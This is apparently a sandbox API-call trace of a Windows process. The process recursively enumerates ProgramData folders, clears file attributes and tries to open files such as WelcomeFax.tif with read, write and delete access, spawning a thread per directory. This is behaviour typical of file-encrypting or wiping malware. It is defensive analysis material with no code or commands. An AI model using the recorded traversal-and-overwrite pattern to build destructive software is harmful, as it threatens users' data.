	[0092.360] wcscmp (_String1="..", _String2="..") returned 0
	[0092.360] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.360] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470ed80) returned 1
	[0092.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0092.360] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0092.360] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1
	[0092.360] wcscmp (_String1="VirtualInbox", _String2=".") returned 1
	[0092.360] wcscmp (_String1="VirtualInbox", _String2="..") returned 1
	[0092.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2e04ae0
	[0092.360] wcscpy (in: _Dest=0x2e04ae0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.360] wcscat (in: _Dest=0x2e04ae0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.360] wcscat (in: _Dest=0x2e04ae0, _Source="VirtualInbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0092.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bcc90
	[0092.361] wcscpy (in: _Dest=0x47bcc90, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0092.361] wcscat (in: _Dest=0x47bcc90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\"
	[0092.361] wcscat (in: _Dest=0x47bcc90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*"
	[0092.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.361] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.361] wcscmp (_String1=".", _String2=".") returned 0
	[0092.361] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.361] wcscmp (_String1="..", _String2=".") returned 1
	[0092.361] wcscmp (_String1="..", _String2="..") returned 0
	[0092.361] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0092.361] wcscmp (_String1="en-US", _String2=".") returned 1
	[0092.361] wcscmp (_String1="en-US", _String2="..") returned 1
	[0092.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498d460
	[0092.361] wcscpy (in: _Dest=0x498d460, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox"
	[0092.361] wcscat (in: _Dest=0x498d460, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\"
	[0092.361] wcscat (in: _Dest=0x498d460, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0092.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498d570
	[0092.361] wcscpy (in: _Dest=0x498d570, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0092.361] wcscat (in: _Dest=0x498d570, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\"
	[0092.361] wcscat (in: _Dest=0x498d570, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*"
	[0092.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710cc8
	[0092.361] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.361] wcscmp (_String1=".", _String2=".") returned 0
	[0092.361] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.362] wcscmp (_String1="..", _String2=".") returned 1
	[0092.362] wcscmp (_String1="..", _String2="..") returned 0
	[0092.362] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af00150, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1
	[0092.362] wcscmp (_String1="WelcomeFax.tif", _String2=".") returned 1
	[0092.362] wcscmp (_String1="WelcomeFax.tif", _String2="..") returned 1
	[0092.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4895360
	[0092.362] wcscpy (in: _Dest=0x4895360, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US"
	[0092.362] wcscat (in: _Dest=0x4895360, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\"
	[0092.362] wcscat (in: _Dest=0x4895360, _Source="WelcomeFax.tif" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif"
	[0092.362] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif")) returned 0x20
	[0092.364] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif", dwFileAttributes=0x20) returned 0
	[0092.364] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.364] GetLastError () returned 0x5
	[0092.365] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif", dwFileAttributes=0x20) returned 0
	[0092.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895360) returned 1
	[0092.365] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af00150, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0
	[0092.365] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710cc8) returned 1
	[0092.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d570) returned 1
	[0092.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d460) returned 1
	[0092.365] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0092.365] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcc90) returned 1
	[0092.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0092.365] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0
	[0092.365] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77780) returned 1
	[0092.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf128) returned 1
	[0092.366] FindNextFileW (in: hFindFile=0x2d876f8, lpFindFileData=0x2e28000 | out: lpFindFileData=0x2e28000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1
	[0092.366] wcscmp (_String1="MSScan", _String2=".") returned 1
	[0092.366] wcscmp (_String1="MSScan", _String2="..") returned 1
	[0092.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d778a0
	[0092.366] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT"
	[0092.366] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\"
	[0092.366] wcscat (in: _Dest=0x2d778a0, _Source="MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan"
	[0092.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733ad8
	[0092.366] wcscpy (in: _Dest=0x4733ad8, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan"
	[0092.366] wcscat (in: _Dest=0x4733ad8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\"
	[0092.366] wcscat (in: _Dest=0x4733ad8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*"
	[0092.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47100c0
	[0092.366] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.367] wcscmp (_String1=".", _String2=".") returned 0
	[0092.367] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.367] wcscmp (_String1="..", _String2=".") returned 1
	[0092.367] wcscmp (_String1="..", _String2="..") returned 0
	[0092.367] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d027e99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9d027e99, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9d04e0f0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1
	[0092.367] wcscmp (_String1="WelcomeScan.jpg", _String2=".") returned 1
	[0092.367] wcscmp (_String1="WelcomeScan.jpg", _String2="..") returned 1
	[0092.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bcc90
	[0092.367] wcscpy (in: _Dest=0x47bcc90, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan"
	[0092.367] wcscat (in: _Dest=0x47bcc90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\"
	[0092.367] wcscat (in: _Dest=0x47bcc90, _Source="WelcomeScan.jpg" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg"
	[0092.367] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20
	[0092.369] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0
	[0092.369] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.369] GetLastError () returned 0x5
	[0092.369] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0
	[0092.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcc90) returned 1
	[0092.369] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d027e99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9d027e99, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9d04e0f0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0
	[0092.369] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47100c0) returned 1
	[0092.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ad8) returned 1
	[0092.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0092.369] FindNextFileW (in: hFindFile=0x2d876f8, lpFindFileData=0x2e28000 | out: lpFindFileData=0x2e28000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0
	[0092.369] FindClose (in: hFindFile=0x2d876f8 | out: hFindFile=0x2d876f8) returned 1
	[0092.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e28000) returned 1
	[0092.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daba80) returned 1
	[0092.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8b0d0) returned 1

Thread:
	id = 323
	os_tid = 0x1434

	[0076.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2e17268
	[0076.862] wcscpy (in: _Dest=0x2e17268, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health") returned="C:\\ProgramData\\Microsoft\\Windows Security Health"
	[0076.862] wcscat (in: _Dest=0x2e17268, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\"
	[0076.862] wcscat (in: _Dest=0x2e17268, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\*") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\*"
	[0076.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e28268
	[0076.862] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\*", lpFindFileData=0x2e28268 | out: lpFindFileData=0x2e28268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a8e8
	[0084.302] wcscmp (_String1=".", _String2=".") returned 0
	[0084.303] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x2e28268 | out: lpFindFileData=0x2e28268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.303] wcscmp (_String1="..", _String2=".") returned 1
	[0084.303] wcscmp (_String1="..", _String2="..") returned 0
	[0084.303] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x2e28268 | out: lpFindFileData=0x2e28268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health Advisor", cAlternateFileName="HEALTH~1")) returned 1
	[0084.303] wcscmp (_String1="Health Advisor", _String2=".") returned 1
	[0084.303] wcscmp (_String1="Health Advisor", _String2="..") returned 1
	[0084.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498cf98
	[0084.303] wcscpy (in: _Dest=0x498cf98, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health") returned="C:\\ProgramData\\Microsoft\\Windows Security Health"
	[0084.303] wcscat (in: _Dest=0x498cf98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\"
	[0084.303] wcscat (in: _Dest=0x498cf98, _Source="Health Advisor" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor"
	[0086.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498cf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1970
	[0086.940] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x2e28268 | out: lpFindFileData=0x2e28268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa1b0a55, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0xa1b0a55, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0086.940] wcscmp (_String1="Logs", _String2=".") returned 1
